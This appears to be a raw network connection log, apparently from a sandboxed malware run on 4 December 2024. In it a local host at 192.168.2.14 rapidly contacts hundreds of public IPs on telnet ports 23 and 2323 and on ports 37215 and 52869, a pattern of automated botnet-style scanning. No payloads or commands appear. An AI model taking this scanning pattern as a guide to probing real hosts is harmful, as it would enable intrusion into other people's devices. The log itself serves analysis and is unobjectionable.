Dec 4, 2024 20:34:35.965630054 CET	23	47464	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.965733051 CET	47464	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.966176987 CET	47556	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.966392040 CET	23	42638	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.966706991 CET	42638	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.967008114 CET	42730	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.978724957 CET	23	60787	147.100.239.25	192.168.2.14
Dec 4, 2024 20:34:35.978780985 CET	60787	23	192.168.2.14	147.100.239.25
Dec 4, 2024 20:34:35.978841066 CET	23	60787	166.224.170.83	192.168.2.14
Dec 4, 2024 20:34:35.978852034 CET	23	42594	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.978862047 CET	2323	60787	121.46.177.162	192.168.2.14
Dec 4, 2024 20:34:35.978872061 CET	23	60787	104.202.131.225	192.168.2.14
Dec 4, 2024 20:34:35.978878975 CET	60787	23	192.168.2.14	166.224.170.83
Dec 4, 2024 20:34:35.978899956 CET	60787	2323	192.168.2.14	121.46.177.162
Dec 4, 2024 20:34:35.978904963 CET	60787	23	192.168.2.14	104.202.131.225
Dec 4, 2024 20:34:35.978909969 CET	42594	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.979249954 CET	42686	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.979963064 CET	50784	23	192.168.2.14	147.100.239.25
Dec 4, 2024 20:34:35.980603933 CET	45286	23	192.168.2.14	166.224.170.83
Dec 4, 2024 20:34:35.981250048 CET	44468	2323	192.168.2.14	121.46.177.162
Dec 4, 2024 20:34:35.982017994 CET	35872	23	192.168.2.14	104.202.131.225
Dec 4, 2024 20:34:35.990331888 CET	46816	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:35.990334988 CET	44228	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:36.014810085 CET	2323	40042	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:36.014885902 CET	40042	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:36.022334099 CET	48618	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:36.022351980 CET	42864	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:36.022356987 CET	38346	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:36.022356987 CET	60938	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:36.022356987 CET	46566	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:36.022366047 CET	33504	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:36.022367954 CET	42426	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:36.022368908 CET	32846	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:36.022370100 CET	40882	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:36.022370100 CET	50564	23	192.168.2.14	212.198.78.108
Dec 4, 2024 20:34:36.022373915 CET	37024	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:36.022373915 CET	40394	23	192.168.2.14	206.5.253.165
Dec 4, 2024 20:34:36.032433033 CET	37215	41842	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:36.032501936 CET	37215	60275	41.238.60.31	192.168.2.14
Dec 4, 2024 20:34:36.032512903 CET	37215	60275	41.12.47.3	192.168.2.14
Dec 4, 2024 20:34:36.032522917 CET	37215	60275	156.22.59.142	192.168.2.14
Dec 4, 2024 20:34:36.032541037 CET	37215	60275	197.225.5.98	192.168.2.14
Dec 4, 2024 20:34:36.032550097 CET	60275	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.032551050 CET	37215	60275	156.126.232.137	192.168.2.14
Dec 4, 2024 20:34:36.032556057 CET	60275	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:36.032556057 CET	60275	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:36.032578945 CET	60275	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:36.032581091 CET	60275	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:36.032735109 CET	37215	44382	156.164.50.81	192.168.2.14
Dec 4, 2024 20:34:36.033685923 CET	37215	58000	197.208.202.223	192.168.2.14
Dec 4, 2024 20:34:36.033735991 CET	37215	36678	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:36.033775091 CET	36678	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:36.034482002 CET	37215	36678	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:36.034502983 CET	37215	53640	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:36.034512043 CET	37215	36678	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:36.034547091 CET	53640	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:36.034908056 CET	37215	53640	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:36.034977913 CET	37215	53640	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:36.035335064 CET	37215	51686	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:36.035377026 CET	51686	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:36.035605907 CET	37215	51686	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:36.035677910 CET	37215	51686	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:36.035804033 CET	37215	45612	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:36.035847902 CET	45612	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:36.036082983 CET	37215	35092	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:36.036123991 CET	35092	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:36.036163092 CET	37215	45612	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:36.036248922 CET	37215	45612	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:36.036793947 CET	37215	35092	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:36.036994934 CET	37215	35092	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:36.045226097 CET	37215	48222	156.77.41.255	192.168.2.14
Dec 4, 2024 20:34:36.046456099 CET	37215	48222	156.77.41.255	192.168.2.14
Dec 4, 2024 20:34:36.047159910 CET	37215	48270	156.77.41.255	192.168.2.14
Dec 4, 2024 20:34:36.047204971 CET	48270	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:36.047238111 CET	48270	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:36.047321081 CET	37215	55290	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:36.047652006 CET	48796	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:36.048201084 CET	39634	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.048783064 CET	49672	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:36.049359083 CET	57250	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:36.050045013 CET	42760	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:36.051872015 CET	37215	60804	156.115.90.119	192.168.2.14
Dec 4, 2024 20:34:36.052031040 CET	37215	60826	156.115.90.119	192.168.2.14
Dec 4, 2024 20:34:36.052078009 CET	60826	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:36.052108049 CET	60826	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:36.074826956 CET	37215	44382	156.164.50.81	192.168.2.14
Dec 4, 2024 20:34:36.074836016 CET	37215	58000	197.208.202.223	192.168.2.14
Dec 4, 2024 20:34:36.078130960 CET	2323	42398	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:36.078187943 CET	42398	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:36.085546017 CET	23	47464	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:36.085993052 CET	23	47556	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:36.086039066 CET	47556	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:36.086529016 CET	23	42638	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.086689949 CET	23	42730	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.086746931 CET	42730	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:36.099178076 CET	37215	60804	156.115.90.119	192.168.2.14
Dec 4, 2024 20:34:36.099224091 CET	23	42594	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.099257946 CET	23	42686	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.099323034 CET	42686	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.110224009 CET	2323	44228	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:36.110272884 CET	44228	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:36.143323898 CET	2323	48618	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:36.143337965 CET	23	42864	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:36.143347979 CET	23	38346	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:36.143373966 CET	48618	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:36.143378019 CET	42864	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:36.143384933 CET	38346	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:36.154948950 CET	37215	36678	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:36.155445099 CET	37215	53640	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:36.155911922 CET	37215	51686	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:36.156322956 CET	37215	45612	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:36.156595945 CET	37215	35092	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:36.160645008 CET	60019	52869	192.168.2.14	197.225.33.176
Dec 4, 2024 20:34:36.160649061 CET	60019	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.160650015 CET	60019	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.160650015 CET	60019	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.160651922 CET	60019	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.160664082 CET	60019	52869	192.168.2.14	197.64.212.1
Dec 4, 2024 20:34:36.160666943 CET	60019	52869	192.168.2.14	197.41.221.45
Dec 4, 2024 20:34:36.160669088 CET	60019	52869	192.168.2.14	197.188.115.154
Dec 4, 2024 20:34:36.160669088 CET	60019	52869	192.168.2.14	156.244.247.160
Dec 4, 2024 20:34:36.160681963 CET	60019	52869	192.168.2.14	197.77.98.52
Dec 4, 2024 20:34:36.160687923 CET	60019	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.160687923 CET	60019	52869	192.168.2.14	156.11.31.144
Dec 4, 2024 20:34:36.160691977 CET	60019	52869	192.168.2.14	197.192.128.10
Dec 4, 2024 20:34:36.160692930 CET	60019	52869	192.168.2.14	156.166.226.54
Dec 4, 2024 20:34:36.160700083 CET	60019	52869	192.168.2.14	156.48.135.24
Dec 4, 2024 20:34:36.160700083 CET	60019	52869	192.168.2.14	156.248.127.78
Dec 4, 2024 20:34:36.160718918 CET	60019	52869	192.168.2.14	41.237.51.145
Dec 4, 2024 20:34:36.160729885 CET	60019	52869	192.168.2.14	41.111.232.9
Dec 4, 2024 20:34:36.160729885 CET	60019	52869	192.168.2.14	156.1.95.83
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	197.114.235.254
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	156.134.162.20
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	156.245.68.18
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	156.179.245.88
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	156.155.107.62
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	197.43.233.91
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	41.180.136.102
Dec 4, 2024 20:34:36.160787106 CET	60019	52869	192.168.2.14	41.31.46.254
Dec 4, 2024 20:34:36.160784960 CET	60019	52869	192.168.2.14	156.31.97.11
Dec 4, 2024 20:34:36.160787106 CET	60019	52869	192.168.2.14	41.85.40.118
Dec 4, 2024 20:34:36.160787106 CET	60019	52869	192.168.2.14	41.120.26.118
Dec 4, 2024 20:34:36.160789013 CET	60019	52869	192.168.2.14	197.122.205.52
Dec 4, 2024 20:34:36.160789967 CET	60019	52869	192.168.2.14	41.12.193.66
Dec 4, 2024 20:34:36.160789967 CET	60019	52869	192.168.2.14	41.59.202.147
Dec 4, 2024 20:34:36.160789967 CET	60019	52869	192.168.2.14	197.13.191.119
Dec 4, 2024 20:34:36.160789967 CET	60019	52869	192.168.2.14	156.113.30.219
Dec 4, 2024 20:34:36.160790920 CET	60019	52869	192.168.2.14	197.121.102.135
Dec 4, 2024 20:34:36.160789967 CET	60019	52869	192.168.2.14	197.78.106.233
Dec 4, 2024 20:34:36.160789967 CET	60019	52869	192.168.2.14	41.133.236.173
Dec 4, 2024 20:34:36.160790920 CET	60019	52869	192.168.2.14	41.107.53.190
Dec 4, 2024 20:34:36.160793066 CET	60019	52869	192.168.2.14	41.29.29.1
Dec 4, 2024 20:34:36.160790920 CET	60019	52869	192.168.2.14	156.121.16.144
Dec 4, 2024 20:34:36.160793066 CET	60019	52869	192.168.2.14	156.26.215.199
Dec 4, 2024 20:34:36.160790920 CET	60019	52869	192.168.2.14	156.193.139.134
Dec 4, 2024 20:34:36.160793066 CET	60019	52869	192.168.2.14	156.178.241.254
Dec 4, 2024 20:34:36.160790920 CET	60019	52869	192.168.2.14	41.206.231.149
Dec 4, 2024 20:34:36.160790920 CET	60019	52869	192.168.2.14	197.109.56.161
Dec 4, 2024 20:34:36.160825968 CET	60019	52869	192.168.2.14	197.88.221.188
Dec 4, 2024 20:34:36.160825968 CET	60019	52869	192.168.2.14	41.29.44.160
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	156.33.180.49
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	197.64.78.242
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	197.125.153.136
Dec 4, 2024 20:34:36.160828114 CET	60019	52869	192.168.2.14	156.56.0.66
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	197.81.165.253
Dec 4, 2024 20:34:36.160829067 CET	60019	52869	192.168.2.14	197.26.77.30
Dec 4, 2024 20:34:36.160828114 CET	60019	52869	192.168.2.14	197.123.12.231
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	197.174.159.41
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	156.75.188.216
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	156.61.80.143
Dec 4, 2024 20:34:36.160828114 CET	60019	52869	192.168.2.14	197.24.129.176
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	197.195.72.22
Dec 4, 2024 20:34:36.160828114 CET	60019	52869	192.168.2.14	41.27.246.86
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	156.225.233.32
Dec 4, 2024 20:34:36.160828114 CET	60019	52869	192.168.2.14	197.31.85.104
Dec 4, 2024 20:34:36.160829067 CET	60019	52869	192.168.2.14	41.205.140.99
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	197.89.67.6
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	197.191.201.190
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	41.66.124.74
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	41.113.229.210
Dec 4, 2024 20:34:36.160826921 CET	60019	52869	192.168.2.14	197.178.9.13
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	156.104.136.229
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	156.141.119.191
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	41.219.30.189
Dec 4, 2024 20:34:36.160830021 CET	60019	52869	192.168.2.14	156.205.23.244
Dec 4, 2024 20:34:36.160868883 CET	60019	52869	192.168.2.14	197.42.213.203
Dec 4, 2024 20:34:36.160868883 CET	60019	52869	192.168.2.14	41.51.193.163
Dec 4, 2024 20:34:36.160868883 CET	60019	52869	192.168.2.14	156.31.132.81
Dec 4, 2024 20:34:36.160870075 CET	60019	52869	192.168.2.14	156.104.209.94
Dec 4, 2024 20:34:36.160870075 CET	60019	52869	192.168.2.14	41.95.211.71
Dec 4, 2024 20:34:36.160871983 CET	60019	52869	192.168.2.14	197.90.60.48
Dec 4, 2024 20:34:36.160871983 CET	60019	52869	192.168.2.14	156.202.14.158
Dec 4, 2024 20:34:36.160871983 CET	60019	52869	192.168.2.14	197.66.17.137
Dec 4, 2024 20:34:36.160871983 CET	60019	52869	192.168.2.14	197.186.198.132
Dec 4, 2024 20:34:36.160871983 CET	60019	52869	192.168.2.14	41.71.142.164
Dec 4, 2024 20:34:36.160872936 CET	60019	52869	192.168.2.14	197.44.158.241
Dec 4, 2024 20:34:36.160872936 CET	60019	52869	192.168.2.14	156.58.143.156
Dec 4, 2024 20:34:36.160872936 CET	60019	52869	192.168.2.14	156.1.110.79
Dec 4, 2024 20:34:36.160872936 CET	60019	52869	192.168.2.14	197.188.185.231
Dec 4, 2024 20:34:36.160875082 CET	60019	52869	192.168.2.14	156.134.118.87
Dec 4, 2024 20:34:36.160875082 CET	60019	52869	192.168.2.14	41.163.39.119
Dec 4, 2024 20:34:36.160875082 CET	60019	52869	192.168.2.14	41.214.18.89
Dec 4, 2024 20:34:36.160875082 CET	60019	52869	192.168.2.14	41.29.92.253
Dec 4, 2024 20:34:36.160878897 CET	60019	52869	192.168.2.14	156.28.225.80
Dec 4, 2024 20:34:36.160878897 CET	60019	52869	192.168.2.14	197.95.105.7
Dec 4, 2024 20:34:36.160878897 CET	60019	52869	192.168.2.14	156.224.184.70
Dec 4, 2024 20:34:36.160878897 CET	60019	52869	192.168.2.14	197.252.244.158
Dec 4, 2024 20:34:36.160881042 CET	60019	52869	192.168.2.14	156.92.155.25
Dec 4, 2024 20:34:36.160881042 CET	60019	52869	192.168.2.14	156.165.26.216
Dec 4, 2024 20:34:36.160881042 CET	60019	52869	192.168.2.14	156.25.132.119
Dec 4, 2024 20:34:36.160881042 CET	60019	52869	192.168.2.14	197.65.173.118
Dec 4, 2024 20:34:36.160881042 CET	60019	52869	192.168.2.14	41.248.232.43
Dec 4, 2024 20:34:36.160881042 CET	60019	52869	192.168.2.14	41.217.71.135
Dec 4, 2024 20:34:36.160881042 CET	60019	52869	192.168.2.14	41.133.6.188
Dec 4, 2024 20:34:36.160907030 CET	60019	52869	192.168.2.14	41.232.183.80
Dec 4, 2024 20:34:36.160907030 CET	60019	52869	192.168.2.14	41.100.43.109
Dec 4, 2024 20:34:36.160907030 CET	60019	52869	192.168.2.14	156.39.217.189
Dec 4, 2024 20:34:36.160909891 CET	60019	52869	192.168.2.14	41.167.103.248
Dec 4, 2024 20:34:36.160909891 CET	60019	52869	192.168.2.14	156.222.46.174
Dec 4, 2024 20:34:36.160909891 CET	60019	52869	192.168.2.14	41.228.21.92
Dec 4, 2024 20:34:36.160909891 CET	60019	52869	192.168.2.14	156.199.218.34
Dec 4, 2024 20:34:36.160912037 CET	60019	52869	192.168.2.14	156.127.82.125
Dec 4, 2024 20:34:36.160912037 CET	60019	52869	192.168.2.14	156.59.237.234
Dec 4, 2024 20:34:36.160912037 CET	60019	52869	192.168.2.14	156.22.104.42
Dec 4, 2024 20:34:36.160912991 CET	60019	52869	192.168.2.14	156.150.77.163
Dec 4, 2024 20:34:36.160912991 CET	60019	52869	192.168.2.14	156.238.36.168
Dec 4, 2024 20:34:36.160912991 CET	60019	52869	192.168.2.14	197.82.144.235
Dec 4, 2024 20:34:36.160912991 CET	60019	52869	192.168.2.14	156.49.100.246
Dec 4, 2024 20:34:36.160912991 CET	60019	52869	192.168.2.14	41.219.66.72
Dec 4, 2024 20:34:36.160912991 CET	60019	52869	192.168.2.14	197.42.190.221
Dec 4, 2024 20:34:36.160912991 CET	60019	52869	192.168.2.14	156.153.34.86
Dec 4, 2024 20:34:36.160916090 CET	60019	52869	192.168.2.14	41.231.175.111
Dec 4, 2024 20:34:36.160916090 CET	60019	52869	192.168.2.14	156.91.172.76
Dec 4, 2024 20:34:36.160916090 CET	60019	52869	192.168.2.14	197.59.27.232
Dec 4, 2024 20:34:36.160916090 CET	60019	52869	192.168.2.14	41.100.61.109
Dec 4, 2024 20:34:36.160916090 CET	60019	52869	192.168.2.14	197.95.161.231
Dec 4, 2024 20:34:36.160916090 CET	60019	52869	192.168.2.14	41.150.61.240
Dec 4, 2024 20:34:36.160933971 CET	60019	52869	192.168.2.14	156.173.164.193
Dec 4, 2024 20:34:36.160933971 CET	60019	52869	192.168.2.14	41.138.63.36
Dec 4, 2024 20:34:36.160933971 CET	60019	52869	192.168.2.14	41.128.15.8
Dec 4, 2024 20:34:36.160933971 CET	60019	52869	192.168.2.14	197.40.116.138
Dec 4, 2024 20:34:36.160934925 CET	60019	52869	192.168.2.14	156.184.248.156
Dec 4, 2024 20:34:36.160934925 CET	60019	52869	192.168.2.14	41.227.53.101
Dec 4, 2024 20:34:36.160934925 CET	60019	52869	192.168.2.14	41.175.78.45
Dec 4, 2024 20:34:36.160936117 CET	60019	52869	192.168.2.14	41.237.248.150
Dec 4, 2024 20:34:36.160936117 CET	60019	52869	192.168.2.14	156.217.167.96
Dec 4, 2024 20:34:36.160938025 CET	60019	52869	192.168.2.14	197.228.32.226
Dec 4, 2024 20:34:36.160938025 CET	60019	52869	192.168.2.14	156.218.110.137
Dec 4, 2024 20:34:36.160938025 CET	60019	52869	192.168.2.14	197.41.78.168
Dec 4, 2024 20:34:36.160938978 CET	60019	52869	192.168.2.14	41.117.205.143
Dec 4, 2024 20:34:36.160939932 CET	60019	52869	192.168.2.14	41.247.236.225
Dec 4, 2024 20:34:36.160942078 CET	60019	52869	192.168.2.14	41.42.175.200
Dec 4, 2024 20:34:36.160945892 CET	60019	52869	192.168.2.14	197.154.169.48
Dec 4, 2024 20:34:36.160945892 CET	60019	52869	192.168.2.14	156.163.173.98
Dec 4, 2024 20:34:36.160948038 CET	60019	52869	192.168.2.14	41.225.247.26
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	156.23.247.197
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	41.4.223.214
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	156.40.169.247
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	41.253.233.37
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	156.99.237.136
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	197.23.139.57
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	197.133.118.254
Dec 4, 2024 20:34:36.160960913 CET	60019	52869	192.168.2.14	156.114.1.11
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	41.154.38.221
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	156.70.23.106
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	41.253.143.208
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	197.111.61.232
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	156.33.251.185
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	197.123.114.219
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	41.200.24.238
Dec 4, 2024 20:34:36.160979033 CET	60019	52869	192.168.2.14	156.198.99.185
Dec 4, 2024 20:34:36.160986900 CET	60019	52869	192.168.2.14	156.85.132.219
Dec 4, 2024 20:34:36.161384106 CET	34674	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:36.162046909 CET	38024	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:36.162729025 CET	58166	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:36.163419008 CET	34854	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:36.164097071 CET	59346	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:36.164774895 CET	45802	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:36.165474892 CET	41528	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:36.166157961 CET	60590	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:36.166872978 CET	60146	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:36.167538881 CET	45650	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:36.168193102 CET	50048	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:36.168844938 CET	54152	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:36.169523001 CET	40116	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:36.170376062 CET	37215	48796	41.238.60.31	192.168.2.14
Dec 4, 2024 20:34:36.170428991 CET	48796	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:36.170471907 CET	37215	39634	41.12.47.3	192.168.2.14
Dec 4, 2024 20:34:36.170505047 CET	39634	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.170516968 CET	48796	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:36.170527935 CET	48796	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:36.170551062 CET	37215	49672	156.22.59.142	192.168.2.14
Dec 4, 2024 20:34:36.170586109 CET	49672	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:36.170727015 CET	37215	48270	156.77.41.255	192.168.2.14
Dec 4, 2024 20:34:36.170788050 CET	48832	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:36.170842886 CET	37215	48270	156.77.41.255	192.168.2.14
Dec 4, 2024 20:34:36.170875072 CET	48270	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:36.171123981 CET	39634	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.171123981 CET	39634	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.171375036 CET	39670	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.171694040 CET	49672	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:36.171694040 CET	49672	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:36.171938896 CET	49708	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:36.174053907 CET	37215	60826	156.115.90.119	192.168.2.14
Dec 4, 2024 20:34:36.174097061 CET	60826	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:36.182324886 CET	48982	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:36.182324886 CET	50430	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:36.182324886 CET	46150	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:36.182331085 CET	41860	52869	192.168.2.14	156.111.130.19
Dec 4, 2024 20:34:36.182344913 CET	41840	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:36.182347059 CET	56464	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:36.182347059 CET	59414	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:36.182347059 CET	50966	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:36.182347059 CET	34282	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:36.182348967 CET	54822	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:36.182348967 CET	38464	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:36.182353020 CET	55812	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:36.182358980 CET	47126	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:36.182367086 CET	40798	52869	192.168.2.14	156.158.251.132
Dec 4, 2024 20:34:36.182367086 CET	50080	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:36.182372093 CET	36984	52869	192.168.2.14	197.44.237.179
Dec 4, 2024 20:34:36.182377100 CET	46560	52869	192.168.2.14	156.252.220.218
Dec 4, 2024 20:34:36.182379961 CET	43368	52869	192.168.2.14	41.45.75.104
Dec 4, 2024 20:34:36.182379961 CET	37032	52869	192.168.2.14	156.35.195.238
Dec 4, 2024 20:34:36.182379961 CET	57502	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:36.182379961 CET	44086	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:36.182389975 CET	60856	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:36.182390928 CET	46408	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:36.182399988 CET	38522	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:36.199371099 CET	2323	42398	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:36.199456930 CET	42398	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:36.199822903 CET	42706	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:36.206934929 CET	23	42730	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.207010984 CET	42730	23	192.168.2.14	162.100.51.109
